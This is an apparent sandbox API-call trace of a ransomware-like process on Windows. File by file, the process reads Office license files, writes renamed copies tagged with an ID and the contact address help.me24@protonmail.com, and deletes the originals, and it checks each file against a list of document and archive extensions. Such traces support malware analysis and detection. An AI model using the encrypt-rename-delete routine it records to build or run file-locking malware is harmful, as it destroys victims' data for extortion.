	[0187.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0187.438] lstrlenW (lpString=".dbf") returned 4
	[0187.438] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0187.438] lstrlenW (lpString=".1cd") returned 4
	[0187.438] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0187.438] lstrlenW (lpString=".jpg") returned 4
	[0187.438] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.439] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.439] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 43
	[0187.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.440] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=23207) returned 1
	[0187.440] CloseHandle (hObject=0x310) returned 1
	[0187.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0187.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.440] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.441] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.442] GetLastError () returned 0x0
	[0187.442] ReadFile (in: hFile=0x310, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x5aa7, lpOverlapped=0x0) returned 1
	[0187.465] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x5ab0, lpOverlapped=0x0) returned 1
	[0187.466] ReadFile (in: hFile=0x310, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.467] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x12a, lpOverlapped=0x0) returned 1
	[0187.467] SetEndOfFile (hFile=0x540) returned 1
	[0187.467] CloseHandle (hObject=0x540) returned 1
	[0187.467] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.467] SetEndOfFile (hFile=0x310) returned 1
	[0187.471] CloseHandle (hObject=0x310) returned 1
	[0187.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0187.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0187.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0187.473] lstrlenW (lpString=".doc") returned 4
	[0187.473] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.473] lstrlenW (lpString=".docx") returned 5
	[0187.473] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.473] lstrlenW (lpString=".pdf") returned 4
	[0187.473] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.473] lstrlenW (lpString=".xls") returned 4
	[0187.473] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.473] lstrlenW (lpString=".xlsx") returned 5
	[0187.473] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.473] lstrlenW (lpString=".ppt") returned 4
	[0187.473] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0187.473] lstrlenW (lpString=".zip") returned 4
	[0187.473] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.473] lstrlenW (lpString=".rar") returned 4
	[0187.473] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.473] lstrlenW (lpString=".bz2") returned 4
	[0187.474] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.474] lstrlenW (lpString=".7z") returned 3
	[0187.474] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0187.474] lstrlenW (lpString=".dbf") returned 4
	[0187.474] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0187.474] lstrlenW (lpString=".1cd") returned 4
	[0187.474] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0187.474] lstrlenW (lpString=".jpg") returned 4
	[0187.474] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0187.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0187.474] lstrlenW (lpString=".doc") returned 4
	[0187.474] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.474] lstrlenW (lpString=".docx") returned 5
	[0187.474] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.474] lstrlenW (lpString=".pdf") returned 4
	[0187.474] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.474] lstrlenW (lpString=".xls") returned 4
	[0187.474] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.474] lstrlenW (lpString=".xlsx") returned 5
	[0187.474] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.474] lstrlenW (lpString=".ppt") returned 4
	[0187.474] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0187.474] lstrlenW (lpString=".zip") returned 4
	[0187.474] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.474] lstrlenW (lpString=".rar") returned 4
	[0187.474] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.474] lstrlenW (lpString=".bz2") returned 4
	[0187.474] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.474] lstrlenW (lpString=".7z") returned 3
	[0187.474] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0187.475] lstrlenW (lpString=".dbf") returned 4
	[0187.475] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0187.475] lstrlenW (lpString=".1cd") returned 4
	[0187.475] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0187.475] lstrlenW (lpString=".jpg") returned 4
	[0187.475] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.475] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.475] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46
	[0187.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.476] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11674) returned 1
	[0187.476] CloseHandle (hObject=0x310) returned 1
	[0187.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0187.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.477] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.477] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.478] GetLastError () returned 0x0
	[0187.478] ReadFile (in: hFile=0x310, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d9a, lpOverlapped=0x0) returned 1
	[0187.486] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0187.487] ReadFile (in: hFile=0x310, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.488] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x130, lpOverlapped=0x0) returned 1
	[0187.488] SetEndOfFile (hFile=0x540) returned 1
	[0187.488] CloseHandle (hObject=0x540) returned 1
	[0187.488] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.488] SetEndOfFile (hFile=0x310) returned 1
	[0187.491] CloseHandle (hObject=0x310) returned 1
	[0187.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0187.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0187.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0187.647] lstrlenW (lpString=".doc") returned 4
	[0187.647] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.648] lstrlenW (lpString=".docx") returned 5
	[0187.648] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.648] lstrlenW (lpString=".pdf") returned 4
	[0187.648] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.648] lstrlenW (lpString=".xls") returned 4
	[0187.648] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.648] lstrlenW (lpString=".xlsx") returned 5
	[0187.648] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.648] lstrlenW (lpString=".ppt") returned 4
	[0187.648] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0187.648] lstrlenW (lpString=".zip") returned 4
	[0187.648] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.648] lstrlenW (lpString=".rar") returned 4
	[0187.648] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.648] lstrlenW (lpString=".bz2") returned 4
	[0187.648] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.648] lstrlenW (lpString=".7z") returned 3
	[0187.648] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0187.648] lstrlenW (lpString=".dbf") returned 4
	[0187.648] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0187.648] lstrlenW (lpString=".1cd") returned 4
	[0187.648] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0187.648] lstrlenW (lpString=".jpg") returned 4
	[0187.648] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0187.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0187.648] lstrlenW (lpString=".doc") returned 4
	[0187.648] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.648] lstrlenW (lpString=".docx") returned 5
	[0187.648] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.648] lstrlenW (lpString=".pdf") returned 4
	[0187.649] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.649] lstrlenW (lpString=".xls") returned 4
	[0187.649] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.649] lstrlenW (lpString=".xlsx") returned 5
	[0187.649] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.649] lstrlenW (lpString=".ppt") returned 4
	[0187.649] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0187.649] lstrlenW (lpString=".zip") returned 4
	[0187.649] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.649] lstrlenW (lpString=".rar") returned 4
	[0187.649] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.649] lstrlenW (lpString=".bz2") returned 4
	[0187.649] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.649] lstrlenW (lpString=".7z") returned 3
	[0187.649] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0187.649] lstrlenW (lpString=".dbf") returned 4
	[0187.649] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0187.649] lstrlenW (lpString=".1cd") returned 4
	[0187.649] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0187.649] lstrlenW (lpString=".jpg") returned 4
	[0187.649] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.649] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.649] lstrlenW (lpString="O365HomePremR_Grace-ul-oob.xrm-ms") returned 33
	[0187.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0187.650] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11624) returned 1
	[0187.650] CloseHandle (hObject=0x390) returned 1
	[0187.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 0x220
	[0187.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0187.651] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.651] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0187.652] GetLastError () returned 0x0
	[0187.652] ReadFile (in: hFile=0x390, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d68, lpOverlapped=0x0) returned 1
	[0187.691] WriteFile (in: hFile=0x424, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0187.693] ReadFile (in: hFile=0x390, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.693] WriteFile (in: hFile=0x424, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x116, lpOverlapped=0x0) returned 1
	[0187.693] SetEndOfFile (hFile=0x424) returned 1
	[0187.693] CloseHandle (hObject=0x424) returned 1
	[0187.693] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.693] SetEndOfFile (hFile=0x390) returned 1
	[0187.696] CloseHandle (hObject=0x390) returned 1
	[0187.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 1
	[0187.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0187.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0187.697] lstrlenW (lpString=".doc") returned 4
	[0187.697] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.697] lstrlenW (lpString=".docx") returned 5
	[0187.697] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.697] lstrlenW (lpString=".pdf") returned 4
	[0187.697] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.697] lstrlenW (lpString=".xls") returned 4
	[0187.698] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.698] lstrlenW (lpString=".xlsx") returned 5
	[0187.698] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.698] lstrlenW (lpString=".ppt") returned 4
	[0187.698] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0187.698] lstrlenW (lpString=".zip") returned 4
	[0187.698] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.698] lstrlenW (lpString=".rar") returned 4
	[0187.698] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.698] lstrlenW (lpString=".bz2") returned 4
	[0187.698] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.698] lstrlenW (lpString=".7z") returned 3
	[0187.698] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0187.698] lstrlenW (lpString=".dbf") returned 4
	[0187.698] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0187.698] lstrlenW (lpString=".1cd") returned 4
	[0187.698] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0187.698] lstrlenW (lpString=".jpg") returned 4
	[0187.698] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
